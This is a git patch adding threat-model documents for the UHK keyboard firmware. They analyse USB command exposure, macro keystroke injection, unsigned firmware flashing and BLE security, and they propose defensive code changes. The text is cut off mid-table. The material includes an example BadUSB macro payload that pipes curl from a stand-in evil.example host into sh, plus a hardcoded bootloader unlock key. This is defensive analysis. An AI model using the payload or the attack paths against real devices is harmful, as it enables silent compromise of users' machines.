From 861c0580cae82d202ac8d6d511eef993795c5490 Mon Sep 17 00:00:00 2001 From: Benedek Kupper Date: Thu, 2 Jul 2026 23:32:03 +0200 Subject: [PATCH 1/2] add LLM drafted threat analysis for review Signed-off-by: Benedek Kupper --- doc-dev/other/threat_analysis.md | 321 +++++++++++++++++++++++++++++++ 1 file changed, 321 insertions(+) create mode 100644 doc-dev/other/threat_analysis.md diff --git a/doc-dev/other/threat_analysis.md b/doc-dev/other/threat_analysis.md new file mode 100644 index 000000000..c928c6540 --- /dev/null +++ b/doc-dev/other/threat_analysis.md @@ -0,0 +1,321 @@ +# Cybersecurity Threat Analysis: Ultimate Hacking Keyboard Firmware + +**Scope:** UHK60 (v1/v2) and UHK80 (left/right/dongle). Attack surfaces analyzed: USB HID protocol, macro engine, BLE stack, I2C module bus, firmware update pathway, and physical access. + +**Threat model assumption:** The keyboard is treated as a high-value target because it sits in the HID chain of every keystroke — including passwords, MFA codes, and shell commands — and because it has the ability to synthesize keystrokes autonomously. + +--- + +## 1. USB HID Protocol — Unauthenticated Command Execution + +### Applies to: Both UHK60 and UHK80 + +The USB generic HID interface (`usb_protocol_handler.c`) accepts 63-byte command packets from any software process on the connected host that can open the HID device. There is **no authentication, session token, or capability check** on any USB command. + +The full command surface is exposed to any unprivileged userspace process (or browser/Electron app via WebHID/WebUSB): + +| Command ID | Effect | +|---|---| +| `0x01` `Reenumerate` | Boot into DFU/bootloader mode or normal mode | +| `0x05` `WriteHardwareConfig` | Overwrite the persistent 64-byte hardware identity (unique ID, ISO flag, etc.) | +| `0x06` `WriteStagingUserConfig` | Upload a complete replacement keymap and macro set | +| `0x07` `ApplyConfig` | Parse and activate the uploaded config | +| `0x10` `ExecMacroCommand` | Execute an arbitrary macro command string | +| `0x13` `ExecShellCommand` | (UHK80 only) Execute a Zephyr shell command | +| `0x11` `WriteModuleFirmware` | Upload firmware binary for a connected module | +| `0x12` `FlashModule` | Flash uploaded firmware to a connected module via K-boot | +| `0x02` `JumpToModuleBootloader` | (UHK60) Put a module into bootloader mode | +| `0x03` `SendKbootCommandToModule` | (UHK60 Buspal mode) Forward raw K-boot packets to a module | + +**Attack scenario (Confused Deputy):** Malicious JavaScript via WebHID, a compromised Electron app (e.g., Agent itself if its supply chain is compromised), or a local low-privilege process can silently issue any of these commands. The browser/OS is the only gatekeeper, and WebHID prompts are one-time. + +**Attack scenario (Rogue Config Upload):** An attacker with momentary access to a logged-in machine can upload a new config that adds a hidden macro mapping (e.g., replaces a rarely-used Fn layer key with a keystroke-injecting payload), then calls `ApplyConfig`. The change persists across reboots. + +**Severity:** Critical. All privileged operations are conflated into a single unauthenticated endpoint. + +**Mitigations to consider:** Require explicit user confirmation (physical button press) before accepting `WriteStagingUserConfig`/`ApplyConfig`/`Reenumerate`/`FlashModule`. Introduce a session token generated at USB enumeration that must be presented with sensitive commands. + +--- + +## 2. Macro Engine as a Keystroke Injection and Privilege Escalation Path + +### Applies to: Both UHK60 and UHK80 + +The macro engine (`right/src/macros/commands.c`) is Turing-complete and can be triggered in three ways: +- By a physical key mapped to a macro (legitimate user intent) +- Via `UsbCommand_ExecMacroCommand` over USB (see §1) +- Via the `$onInit` / `$onKeymapChange` / `$onJoin` macro events triggered by loading a config + +Commands of particular concern from a security standpoint: + +| Macro command | Security implication | +|---|---| +| `write STRING` | Synthesizes arbitrary keystrokes into the host, identical to physical typing | +| `tapKey` / `pressKey` / `holdKey` / `releaseKey` | Injects individual keystrokes and modifier combinations | +| `reboot` | Reboots the keyboard, including remote reboot of left half and dongle (UHK80) | +| `resetConfiguration` | Wipes the config — destructive/DoS | +| `bluetooth pair` | Puts the device into BLE pairing mode silently (UHK80) | +| `set bluetooth.allowUnsecuredConnections true` | Downgrades BLE security requirement from L4 (LESC) to L0 — enables MITM and eavesdropping | +| `unpairHost N` | Destroys a BLE bond | +| `switchHost N` | Silently switches the active BLE host | +| `set keymapAction.LAYERID.KEYID macro MACRONAME` | Remaps any key to any macro at runtime, persistently | +| `powerMode sleep` / `powerMode shutdown` | Cuts power to the keyboard — DoS | +| `freeze` / `panic` | Hang or crash the firmware — DoS | +| `set devMode true` | Enables extended debug output and additional diagnostic commands | +| `set emergencyKey KEYID` | Designates a key that cannot be remapped away | + +The `write` command, combined with `$onInit`, means a malicious config can **auto-execute a keystroke injection payload the moment the keyboard is plugged in**, before the user has typed a single key. This is functionally equivalent to a BadUSB attack, but implemented in the keyboard's own config format rather than requiring a firmware modification. + +**Attack scenario (Persistent BadUSB via Config):** An attacker uploads a config with `$onInit` containing: +``` +write "curl http://evil.example/payload.sh | sh\n" +``` +This executes a shell command on every machine the keyboard is plugged into, with no firmware modification required and no detection by USB scanning tools (the device legitimately identifies as a HID keyboard). + +**Severity:** Critical for `write`/`tapKey` in `$onInit`. High for `resetConfiguration` and `set bluetooth.allowUnsecuredConnections`. Medium for `reboot`/`powerMode`. + +**Mitigations to consider:** Rate-limit or gate `write`/`tapKey` commands when executed from USB-triggered macros vs. physical key press. Display a visual warning on the OLED (UHK80) or LED indicator (UHK60) when `$onInit` synthesizes keystrokes. Disable `bluetooth.allowUnsecuredConnections` in production builds. + +--- + +## 3. Firmware Update — No Code Signing + +### Applies to: Both UHK60 and UHK80 + +**Right half DFU (both platforms):** `UsbCommand_Reenumerate` with mode byte `EnumerationMode_Bootloader` transitions the device into its bootloader. On UHK60 this is the NXP K-boot bootloader; on UHK80 it is MCUboot. Once in bootloader mode, the Agent (or any attacker) can flash arbitrary firmware. The process requires no physical button press when triggered over USB. + +The K-boot `flashSecurityDisable` command uses a hardcoded 8-byte unlock key `[0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08]`. This key is embedded in the Agent source and provides no meaningful security. + +**Module firmware (UHK60):** `JumpToModuleBootloader` (USB cmd `0x02`) + `SendKbootCommandToModule` (Buspal mode) allows the host to flash arbitrary firmware to any attached module (trackball, trackpoint, key cluster, touchpad). There is no cryptographic verification of module firmware images. The MD5 checksum fetched during module discovery is informational only. + +**Module firmware (UHK80):** `WriteModuleFirmware` (USB cmd `0x11`) + `FlashModule` (USB cmd `0x12`) implement the same capability in-firmware. The right half stores the image and runs K-boot over UART. + +**Attack scenario (Malicious Module Firmware):** A module is flashed with attacker-controlled firmware that logs keystrokes, manipulates pointer position, or exfiltrates data over an auxiliary channel. This persists independently of the right-half config and survives right-half firmware updates. + +**Attack scenario (Right-Half Firmware Replacement):** A process issues `Reenumerate` + bootloader flash over USB. The new firmware may silently log all keystrokes and BLE keys, exfiltrating them to a secondary device. + +**Severity:** Critical. Arbitrary code execution on the MCU, persistent across config resets. + +**Mitigations to consider:** Require a physical button sequence to enter bootloader mode when the trigger arrives over USB (not Bluetooth or UART). Enable MCUboot image signing (the Zephyr/nRF infrastructure supports ECDSA-P256 signed images). Implement module firmware signature verification using the right half's built-in crypto. + +--- + +## 4. BLE Security (UHK80-specific) + +### Applies to: UHK80 right half, left half, dongle + +### 4.1 Security level bypass via config + +The firmware enforces `BT_SECURITY_L4` (LESC — LE Secure Connections with numeric comparison or OOB) for BLE HID connections in `bt_conn.c`: + +```c +if (err || (level < BT_SECURITY_L4 && !Cfg.Bt_AllowUnsecuredConnections)) { + safeDisconnect(conn, ...); +} +``` + +The config field `Cfg.Bt_AllowUnsecuredConnections` is set by the macro command `set bluetooth.allowUnsecuredConnections true`. This is documented as a development tool but is accessible in production firmware to anyone who can write a config. With this flag set, the keyboard will accept BLE HID connections at L0 (no encryption, no authentication), making all typed keystrokes trivially sniffable or subject to MITM. + +### 4.2 Advertising and pairing exposure + +The command `bluetooth pair` (accessible via macro or `ExecMacroCommand`) puts the device into `PairingMode_PairHid`, where it advertises and accepts new pairings. A rogue device in range can pair during this window. There is a 20-second timeout (`PAIRING_TIMEOUT`) for inter-half pairing and 120 seconds (`USER_PAIRING_TIMEOUT`) for user-facing HID pairing, but these windows can be reopened programmatically via repeated macro execution. + +### 4.3 NUS inter-half link + +The left-right connection uses the Nordic UART Service (NUS) over BLE, also at `BT_SECURITY_L4` by default. If the left half's bond database is corrupted (e.g., via `UsbCommand_EraseBleSetting` or `unpairHost`), the left half will advertise openly until re-paired — during which it is accessible to any BLE central. + +### 4.4 Multi-host attack surface expansion + +The `switchHost` macro command and support for up to 5 BLE host connections mean that a keyboard simultaneously bonded to a high-security machine and a lower-security machine can be used as a pivot: a macro triggered on the low-security machine can switch to the high-security host connection and inject keystrokes there. + +**Severity:** High for `allowUnsecuredConnections` bypass; Medium for pairing exposure and multi-host pivot. + +**Mitigations to consider:** Remove `set bluetooth.allowUnsecuredConnections` from production firmware builds (guard with a `CONFIG_UHK_DEV_MODE` Kconfig option). Require a physical button press to enter HID pairing mode. Log and display host-switching events on the OLED. + +--- + +## 5. I2C Module Bus Trust (UHK60-specific) + +### Applies to: UHK60 right half + +The slave scheduler communicates with up to 8 I2C devices. Messages use CRC16 for integrity but **no authentication**. Hardcoded I2C addresses are: + +| Device | Firmware address | Bootloader address | +|---|---|---| +| Left half | 0x08 | 0x10 | +| Left module | 0x18 | 0x20 | +| Right module | 0x28 | 0x30 | +| Touchpad | 0x2D | 0x6D | + +**Attack scenario (Rogue I2C Device):** A hardware implant on the I2C bus can impersonate a module, respond to `SlaveCommand_RequestKeyStates` with fabricated key events (injecting keystrokes), and respond to property requests with arbitrary version strings and checksums — passing all firmware version checks. It could also impersonate a bootloader address to intercept K-boot flash operations. + +**Attack scenario (I2C DoS):** A device holding the I2C bus SCL low (clock stretching attack) stalls the slave scheduler, hanging keyboard scan for the duration. + +**Severity:** Medium (requires hardware access to the I2C lines, which typically means the case is open). + +**Mitigations to consider:** Add challenge-response authentication to the module discovery protocol. Verify that the module ID returned matches the expected physical connector slot. + +--- + +## 6. Configuration Parser Attack Surface + +### Applies to: Both UHK60 and UHK80 + +The config parser (`right/src/config_parser/`) deserializes up to ~32 KB from the staging buffer into the runtime config struct. The macro engine then parses macro text as a DSL. + +- **Buffer boundary:** The staging buffer write is size-limited at `uint16_t` offset (max 64 KB address space), but the actual buffer is 32 KB. Offsets near the boundary written via `WriteStagingUserConfig` could cause out-of-bounds writes if offset validation is incomplete. +- **String interpolation in macros:** The `write` and `setLedTxt` commands support `$variable` interpolation. Variables can be set via `setVar`. An attacker who can write a config can construct macros that evaluate and exfiltrate internal state via the `printStatus`/`notify`/`setLedTxt` output channels. +- **Macro loops:** The `while (true)` construct with `macroEngine.batchSize` controlling execution quota. A malicious macro with a tight infinite loop at maximum batch size will starve the main event loop, causing keyboard scan to lag — a software DoS. + +**Severity:** Low to Medium. The parser itself is well-structured, but the attack surface is wide given the complexity of the macro DSL. + +--- + +## 7. Physical Access + +Physical access to the device bypasses most software controls and opens additional attack surfaces on both platforms. + +**UHK60:** The EEPROM storing the user config and hardware config is accessible from the right half's I2C1 bus. An attacker with hardware access can read or overwrite it directly. + +**UHK80:** The nRF SoC has a JTAG/SWD debug port. Without device-level readback protection (APPROTECT) enabled and locked, an attacker can extract flash contents or patch firmware in-place. Flash readback protection should be verified in production builds. + +**Both:** The `reboot` macro command reboots the keyboard cleanly. If `Reenumerate` is mapped to `EnumerationMode_Bootloader` in a macro, the device enters DFU without any physical indicator other than USB re-enumeration. A macro bound to an obscure key combination could put a shared or kiosk keyboard into bootloader mode without the operator's knowledge. + +--- + +## 8. Summary Risk Matrix + +| Threat | Platform | Likelihood | Impact | Severity | +|---|---|---|---|---| +| Config upload → persistent BadUSB keystroke injection | Both | High (any local process) | Critical | **Critical** | +| `ExecMacroCommand` via USB → keystroke injection | Both | High | Critical | **Critical** | +| `Reenumerate` → arbitrary firmware flash, no signing | Both | High (local) | Critical | **Critical** | +| Module firmware replacement via K-boot | Both | High (local) | High | **High** | +| `allowUnsecuredConnections` → BLE eavesdropping/MITM | UHK80 | Medium (config write required) | High | **High** | +| Multi-host pivot via `switchHost` macro | UHK80 | Medium | High | **High** | +| BLE pairing window hijack | UHK80 | Medium (proximity required) | High | **High** | +| Rogue I2C device impersonating module | UHK60 | Low (hardware access) | Medium | **Medium** | +| Config parser edge cases / macro DoS | Both | Low | Medium | **Medium** | +| BLE NUS inter-half key exfiltration | UHK80 | Low (compromise required) | High | **Medium** | +| JTAG readback / flash dump | Both | Low (physical) | Critical | **Medium** | + +--- + +## 9. Key Recommendations + +1. **Require physical confirmation for privileged USB commands.** A single button press or key combination should be required before `ApplyConfig`, `Reenumerate(Bootloader)`, `FlashModule`, and `WriteModuleFirmware` take effect. This is the single highest-leverage mitigation. + +2. **Enable firmware image signing.** Use MCUboot's ECDSA-P256 signing (already part of the Zephyr toolchain) for the right half and dongle. Add a signature check to module firmware before flashing via K-boot. + +3. **Guard `$onInit` keystroke synthesis.** Prevent or visually flag `write`/`tapKey`/`pressKey` commands that execute within the first N seconds of device power-on or when triggered by `$onInit` without a physical key event in the chain. + +4. **Remove `bluetooth.allowUnsecuredConnections` from production firmware.** It eliminates BLE LESC protections. Gate it behind a compile-time `CONFIG_UHK_DEV_MODE` Kconfig option. + +5. **Enable nRF APPROTECT.** Lock SWD/JTAG access on production UHK80 firmware to prevent flash extraction. + +6. **Audit the staging buffer offset arithmetic** in `usb_command_write_config.c` to confirm no offset overflows are possible at the `uint16_t` boundary. + +7. **Log config writes on the OLED/display.** When a new config is applied from USB, briefly display a notification to alert a physically present user to an unexpected change. + +--- + +## 10. Minimum Baseline for Remote Attacks + +This section narrows scope to remote-only threats: a compromised host machine communicating over USB, and a BLE man-in-the-middle attacker. The four changes below address these without requiring physical access assumptions. + +### 10.1 Guard `bluetooth.allowUnsecuredConnections` behind `devMode` — BLE MITM + +**Risk eliminated:** A compromised host uploads a config containing `set bluetooth.allowUnsecuredConnections true`, downgrading the BLE security requirement from L4 (LESC) to L0 and making all subsequent keystrokes sniffable or MITM-able. + +Without this flag the default `BT_SECURITY_L4` (LE Secure Connections via ECDH) makes passive eavesdropping and active MITM computationally infeasible on an established bond. This is the only code change needed for the BLE MITM threat — LESC itself is sound. + +**Change:** In `right/src/macros/set_command.c`, where `Bt_AllowUnsecuredConnections` is written, add a devMode guard: + +```c +// existing: Cfg.Bt_AllowUnsecuredConnections = value; +if (Cfg.DevMode) { + Cfg.Bt_AllowUnsecuredConnections = value; +} else { + Macros_ReportError("allowUnsecuredConnections requires devMode", NULL, NULL); +} +``` + +**Effort:** ~5 lines. + +--- + +### 10.2 Require a physical button press to enter bootloader mode via USB — firmware replacement + +**Risk eliminated:** Any process on the host calls `Reenumerate(EnumerationMode_Bootloader)`, then flashes arbitrary firmware. The new firmware is a persistent, detection-resistant keylogger or full implant. + +**Change:** In `UsbCommand_Reenumerate`, reject bootloader-mode requests unless a `PhysicalConfirmation_IsActive()` flag is set — a flag raised in the key scan loop when a designated key is held, and cleared after a short window (e.g. 5 seconds). The normal Agent firmware-update flow prompts the user to hold that key before clicking "Update". Extend the same check to `UsbCommand_FlashModule`. + +```c +void UsbCommand_Reenumerate(...) { + uint8_t enumerationMode = GetUsbRxBufferUint8(1); + if (enumerationMode == EnumerationMode_Bootloader && !PhysicalConfirmation_IsActive()) { + SetUsbTxBufferUint8(0, UsbStatusCode_NotConfirmed); + return; + } + // ... existing reboot logic +} +``` + +**Effort:** Medium — define `PhysicalConfirmation_IsActive()` in the key scan loop, check it in two USB command handlers. + +--- + +### 10.3 Block keystroke synthesis in USB-originated macros — direct injection via `ExecMacroCommand` + +**Risk eliminated:** A compromised host calls `UsbCommand_ExecMacroCommand` with a payload like `write "curl http://evil.example/payload.sh | sh\n"`, injecting a shell command as if typed by the user. + +**Change:** Add an `isUsbOriginated` flag to `macro_state_t`. Set it in `UsbMacroCommand_ExecuteSynchronously()`. Check it in `processWriteCommand`, `processTapKeyCommand`, `processPressKeyCommand`, and `processHoldKeyCommand`: + +```c +// In processWriteCommand / processTapKeyCommand / etc.: +if (S->ms.isUsbOriginated) { + Macros_ReportError("Keystroke synthesis not allowed from USB-originated macros", NULL, NULL); + return MacroResult_Finished; +} +``` + +Agent's "play macro" button uses `ExecMacroCommand` — legitimate non-injecting macros (`printStatus`, `switchKeymap`, etc.) continue to work. Only `write`/`tapKey`/`pressKey`/`holdKey`/`releaseKey` are blocked in this context. + +**Effort:** Medium — one flag in `macro_state_t`, set in one place, checked in ~5 command handlers. + +--- + +### 10.4 Block keystroke synthesis in `$onInit` for a short window after USB config apply — persistent BadUSB via config + +**Risk eliminated:** A compromised host uploads a config with `$onInit` containing `write "..."`, calls `ApplyConfig`, and the keyboard auto-executes the payload the next time `$onInit` runs. This persists across host sessions. + +**Change:** Record a `LastUsbConfigApplyTime` timestamp when `ApplyConfig` is processed over USB. Block keystroke synthesis commands (same handlers as §10.3) if that timestamp is more recent than a grace period (e.g. 10 seconds) and no physical key has been pressed since the apply. Show a visual indicator (LED/OLED) during the suppression window. + +```c +// In UsbCommand_ValidateAndApplyConfig*: +Cfg.LastUsbConfigApplyTime = Timer_GetCurrentTime(); + +// In processWriteCommand (and tap/press/hold): +bool recentUsbApply = Timer_GetElapsedTime(&Cfg.LastUsbConfigApplyTime) < USB_CONFIG_GRACE_PERIOD_MS; +if (recentUsbApply && !Cfg.PhysicalKeyPressedSinceUsbApply) { + Macros_ReportError("Keystroke synthesis suppressed after USB config apply", NULL, NULL); + return MacroResult_Finished; +} +``` + +**Effort:** Low-Medium — one timestamp and one boolean in config, one check in the handlers already modified for §10.3. + +--- + +### 10.5 Combined coverage + +| Attack | Blocked by | +|---|---| +| BLE eavesdropping / MITM on established connection | §10.1 | +| BLE MITM during initial pairing | Already mitigated by LESC numeric comparison (user education) | +| Firmware replacement via USB bootloader trigger | §10.2 | +| Module firmware replacement via USB | §10.2 (extend to `FlashModule`) | +| Direct keystroke injection via `ExecMacroCommand` | §10.3 | +| Persistent BadUSB payload via `$onInit` in uploaded config | §10.4 | + +**Remaining exposure after these changes:** A compromised host can still `resetConfiguration`, `reboot`, trigger `bluetooth pair`, and switch BLE hosts via macros or direct USB commands. These are disruptive but do not result in keystroke injection or persistent compromise. Closing these requires physical confirmation for `ApplyConfig` itself, which significantly impacts the normal Agent save workflow. From 89e619ae0bad70f0b142525766bc67edaac42207 Mon Sep 17 00:00:00 2001 From: Karel Tucek Date: Mon, 20 Jul 2026 17:30:13 +0200 Subject: [PATCH 2/2] Add usb command analysis. --- doc-dev/other/usb-command-security.md | 152 ++++++++++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 doc-dev/other/usb-command-security.md diff --git a/doc-dev/other/usb-command-security.md b/doc-dev/other/usb-command-security.md new file mode 100644 index 000000000..1a679f955 --- /dev/null +++ b/doc-dev/other/usb-command-security.md @@ -0,0 +1,152 @@ +# USB command security analysis + +Analysis of the USB command surface (`right/src/usb_protocol_handler.c`, implementations in +`right/src/usb_commands/`) in the context of the proposal to **deny all USB commands except +`GetDeviceState` until the user explicitly unlocks the device from the keyboard**. + +The threat model assumed here is a *hostile host*: the machine the keyboard is plugged into (or a +malicious application on it) is untrusted, and we want to prevent it from exfiltrating secrets, +persistently backdooring the keyboard, or turning the keyboard into an input-injection device +against a *different* host. + +Severity legend: + +- **Critical** — direct code/keystroke injection, persistence, or secret exfiltration. +- **High** — can subvert device behaviour or reveal sensitive user data. +- **Medium** — nuisance, denial of service, or weak fingerprinting. +- **Low** — read-only, non-sensitive, or already implied by the USB descriptors. + +--- + +## Common commands (UHK60 + UHK80) + +| ID | Command | Concern | Rationale | Implication of denying | +| ---- | ------------------------ | -------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0x00 | `GetDeviceProperty` | **Medium**–**High** | Mostly benign version/uptime/checksum data. But `BleAddress`, `PairedRightPeerBleAddress`, `PairingStatus` and `NewPairings` leak BLE identity and bonding state — usable to track the user and to plan a BLE-side attack. | Agent cannot show firmware/version info or detect version mismatch; the whole pairing UI breaks. Consider allowing only the version/config-size subset while unlocked-gating the BLE sub-properties. | +| 0x01 | `Reenumerate` | **Critical** | Reboots the device, and with `EnumerationMode_Bootloader` drops it into the bootloader — i.e. arbitrary firmware flashing. This is the single most dangerous command. On UHK80 with `rebootPeripherals` it also reboots left half and dongle. | No firmware updates over USB without unlocking. This is the intended effect. Bootloader entry should arguably require a *physical* gesture, not just a software unlock flag. | +| 0x04 | `ReadConfig` | **High** | Dumps hardware and user config buffers. User config contains all keymaps and **macro text**, which users commonly use to store passwords/tokens (`tapKeySeq`-style credential macros). Straight exfiltration primitive. | Agent cannot read the current configuration — no editing, no backup. Agent becomes effectively read-only-blind. | +| 0x05 | `WriteHardwareConfig` | **High** | Writes the hardware-config staging buffer. Lower value than user config, but still device identity/layout tampering. | Cannot change hardware config (ISO/ANSI, iso adaptations) from the host. | +| 0x06 | `WriteStagingUserConfig` | **Critical** | Stages an attacker-supplied full user configuration. Combined with `ApplyConfig` + `LaunchStorageTransfer` this is *persistent* keylogger/backdoor installation: an attacker can add macros that exfiltrate or rewrite keystrokes and have them survive a reboot on a different host. | No configuration upload. Agent cannot save anything. | +| 0x07 | `ApplyConfig` | **Critical** | Activates the staged config (parses and swaps buffers, runs `MacroEvent_OnInit`, i.e. executes `$onInit` macros). Second half of the persistence chain. | Uploaded config never takes effect. Harmless to deny if 0x06 is denied. | +| 0x08 | `LaunchStorageTransfer` | **Critical** (write) / **High** (read) | `StorageOperation_Write` commits the buffer to flash/EEPROM — this is what makes a hostile config **persistent**. Read direction pulls stored config into a readable buffer, feeding `ReadConfig`. | No persistent config changes; no config restore from flash. | +| 0x09 | `GetDeviceState` | **Low** | Reports flash-busy, halves-merged, module IDs, active layer, keymap index, status-buffer dirty flag. Active layer + keymap index are a mild side channel about what the user is doing, but the host already sees every keystroke. This is the command that must stay open for Agent to detect the device at all. | **Must remain allowed** — it is the discovery/handshake command and the vehicle for signalling "device is locked". | +| 0x0b | `GetDebugBuffer` | **Low** | Timer value plus I²C/matrix counters on UHK60. Weak timing side channel at most. | Debug tooling loses a diagnostic; nothing user-visible. | +| 0x0e | `GetModuleProperty` | **Low** | Module version/git tag/checksum. | Agent cannot display module versions or detect module firmware mismatch. | +| 0x11 | `SwitchKeymap` | **Medium** | Silently switches the active keymap. An attacker can move the user onto a keymap whose bindings they know or that disables a security feature. Not persistent. | Loses host-side keymap switching (used by some users for per-application keymaps via host scripts). This is a *legitimate* everyday use case for some people — denying it by default is a real functional regression. | +| 0x12 | `GetVariable` | **Medium**–**High** | Mostly harmless (debounce times, semaphores, `DevMode`), **except** `UsbVariable_StatusBuffer` and `UsbVariable_ShellBuffer`, which drain the macro status buffer and the Zephyr log buffer. Those can contain macro-printed data, typed content from debugging macros, and internal state. | Agent loses the error/status console — a significant usability loss, since macro errors are reported through the status buffer. Consider gating only the two buffer variables. | +| 0x13 | `SetVariable` | **High** | `DebounceTime*` can be set to values that make the keyboard drop or duplicate keys (DoS). `UsbVariable_ShellEnabled` turns on the USB log sink; `UsbVariable_DevMode` flips the device into dev mode. `TestSwitches` puts the keyboard into switch-test mode, i.e. suppresses normal typing. Enabling the shell sink is a prerequisite for reading shell output back out. | Loses debounce tuning, switch tester, and the whole Agent "device tester"/dev-mode UI. | +| 0x14 | `ExecMacroCommand` | **Critical** | Executes an **arbitrary macro command** in the macro engine. This is arbitrary "code" execution in the firmware's own language: it can `tapKeySeq` arbitrary keystrokes (input injection into whatever host the keyboard is *currently* attached to, including a different one over BLE), read/write macro variables, change config at runtime via `set`, and print secrets into the status buffer for later retrieval via `GetVariable`. Together with `Reenumerate` this is the top-priority command to lock. | Agent's macro/command console stops working, and any host-side integration that drives the keyboard through macro commands breaks. | +| 0x1e | `ExecShellCommand` | **Critical** (UHK80) | Feeds a string straight into the Zephyr shell (`Shell_Input`). The shell exposes far more than the macro engine — settings, BT commands, memory inspection — depending on the enabled shell modules. On UHK60 it is a stub that only echoes, so **Low** there. | Loses the UHK80 remote shell. Development/diagnostics only; no normal user impact. | +| 0x20 | `WriteModuleFirmware` | **Critical** | Writes into the module-firmware buffer (`UsbCommand_WriteConfig` on `ConfigBufferId_ModuleFirmware`). Stage one of flashing attacker firmware into an attached module. | No module firmware updates without unlocking. | +| 0x21 | `FlashModule` | **Critical** | Triggers the kboot flash of the staged image into a module over I²C. Persistent compromise of a peripheral that sits on the key matrix path. | Same as above; this is the intended lock. | +| 0x22 | `GetModuleFlashState` | **Low** | Progress/error readback. | Flashing UI loses progress reporting (moot if 0x21 is denied). | +| 0x23 | `ValidateBufferCrc` | **Low**–**Medium** | Computes CRC16 over a config buffer and reports match/mismatch. Read-only, but it is a *CRC oracle* over the config buffer, so with enough queries it can confirm guesses about buffer content. Its side effect (`ModuleFirmwareValidatedSize`) is part of the module-flash chain. | Loses upload integrity verification; module flashing would refuse to proceed. | + +## UHK80-only commands (`__ZEPHYR__`) + +| ID | Command | Concern | Rationale | Implication of denying | +|----|---------|---------|-----------|------------------------| +| 0x15 | `DrawOled` | **Medium** | Draws arbitrary pixels on the canvas screen. Enables **spoofing the OLED UI** — e.g. faking the very "unlock confirmation" prompt this proposal depends on, or faking a pairing dialog. That interaction makes it more dangerous than it first looks. | Loses host-driven OLED drawing (canvas screen / Agent-side display features). | +| 0x1f | `ReadOled` | **Medium** | Reads back the framebuffer. The OLED can display macro output, status text, and pairing information, so this is an exfiltration path for whatever is on screen. | Loses OLED screenshotting (used for testing and for Agent's display preview). | +| 0x16 | `GetPairingData` | **High** | Returns the local OOB pairing data (address + `r`/`c` confirm values). Handing OOB material to a hostile host undermines the out-of-band assumption of the pairing flow. | Cannot initiate Agent-driven OOB pairing. Pairing must then be done entirely from the keyboard. | +| 0x17 | `SetPairingData` | **Critical** | Injects remote OOB data **and persists a peer address** into settings (`uhk/addr/left`, `uhk/addr/right`). An attacker can insert their own device as the paired left half / right half — i.e. become a man in the middle of the key matrix link. | Same as above; the Agent-assisted pairing workflow is gone. | +| 0x18 | `PairPeripheral` | **High** | Starts peripheral-side pairing without user presence. | No host-initiated pairing. | +| 0x19 | `PairCentral` | **High** | Starts central-side pairing; on the dongle/right this is how a new peer gets bonded. | No host-initiated pairing. | +| 0x1a | `UnpairAll` | **High** | With a zero address, deletes **all** bonds. Denial of service: the user's wireless setup is destroyed and the keyboard falls back to needing a cable. | Cannot unpair from Agent; user must unpair from the keyboard UI. | +| 0x1b | `IsPaired` | **Medium** | Bond oracle for an arbitrary address — lets a host probe which devices this keyboard is bonded to. | Agent cannot show bond status. | +| 0x1c | `EnterPairingMode` | **High** | Puts the device into OOB pairing mode without any physical action, opening a window for an attacker-controlled peer to bond. | Pairing mode must be entered from the keyboard — which is arguably the correct design anyway. | +| 0x1d | `EraseBleSettings` | **High** | `BtPair_UnpairAllNonLR()` + `Settings_Erase()`. Destructive; wipes BLE settings wholesale. | Cannot factory-reset BLE state from the host. | + +## UHK60-only commands (non-Zephyr) + +| ID | Command | Concern | Rationale | Implication of denying | +|----|---------|---------|-----------|------------------------| +| 0x02 | `JumpToModuleBootloader` | **Critical** | Puts a module into its bootloader — first step of flashing arbitrary module firmware. | No module firmware updates. | +| 0x03 | `SendKbootCommandToModule` | **Critical** | Sends raw kboot commands to an arbitrary I²C address. Effectively unrestricted access to the module bus, including erase/write. | No module flashing / recovery from the host. | +| 0x0a | `SetTestLed` | **Low** | Toggles the test LED. Cosmetic. | Loses a manufacturing/test feature. | +| 0x0c | `GetAdcValue` | **Low** | Reads an ADC value. | Loses a diagnostic. | +| 0x0d | `SetLedPwmBrightness` | **Medium** | Can set brightness to 0 — the user cannot see backlight-based indicators. Minor DoS / could hide a visual security cue. | Agent cannot control brightness (a normal user-facing feature today). | +| 0x0f | `GetSlaveI2cErrors` | **Low** | Error counters. | Loses a diagnostic. | +| 0x10 | `SetI2cBaudRate` | **Medium** | A bad baud rate breaks the module bus — the left half and modules stop working until reboot. DoS. | Loses an experimental tuning knob. | + +--- + +## Summary and recommendations + +### Tier 1 — vital: must remain open even when locked + +Without these the device is not merely locked, it is *unidentifiable*. Agent cannot tell a secured +keyboard from a broken one, cannot negotiate a protocol version, and cannot render a meaningful +"please unlock your keyboard" message. All are read-only and leak nothing the host does not already +have by virtue of receiving every keystroke. + +| ID | Command | Why it is vital | Residual risk | +| ---- | ------------------------------ | ------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0x09 | `GetDeviceState` | The discovery and handshake command. Also the natural carrier for a "device is locked" status bit. | Active layer + keymap index are a weak activity side channel. Accept. | +| 0x00 | `GetDeviceProperty` *(subset)* | Agent needs `ProtocolVersions` to speak to the device at all; the version check is what stops it sending malformed data. | Allow `DeviceProtocolVersion`, `ProtocolVersions`, `ConfigSizes`, `GitTag`, `GitRepo`, `Uptime`, `BuiltFirmwareChecksumByModuleId`. **Gate** `BleAddress`, `PairedRightPeerBleAddress`, `PairingStatus`, `NewPairings`. | +| 0x0e | `GetModuleProperty` | Module version/checksum reporting; needed to warn about module firmware mismatch, which is a correctness issue. | Purely informational. Accept. | + +### Tier 2 — harmless features: open by default, but defensible to gate + +These are everyday user-facing or diagnostic features with no exfiltration or persistence value. +Denying them buys little security and costs real functionality, so the default should be open — +but a paranoid profile could close them without breaking device identification. + +| ID | Command | Value of keeping it open | Worst case if abused | +| ---- | ----------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | +| 0x11 | `SwitchKeymap` | Host-driven per-application keymap switching — a real workflow for a subset of users. | Attacker silently moves the user to a keymap they know. Non-persistent, visible on the OLED/LEDs. | +| 0x0d | `SetLedPwmBrightness` (UHK60) | Backlight brightness control from Agent is a normal user-facing setting. | Brightness set 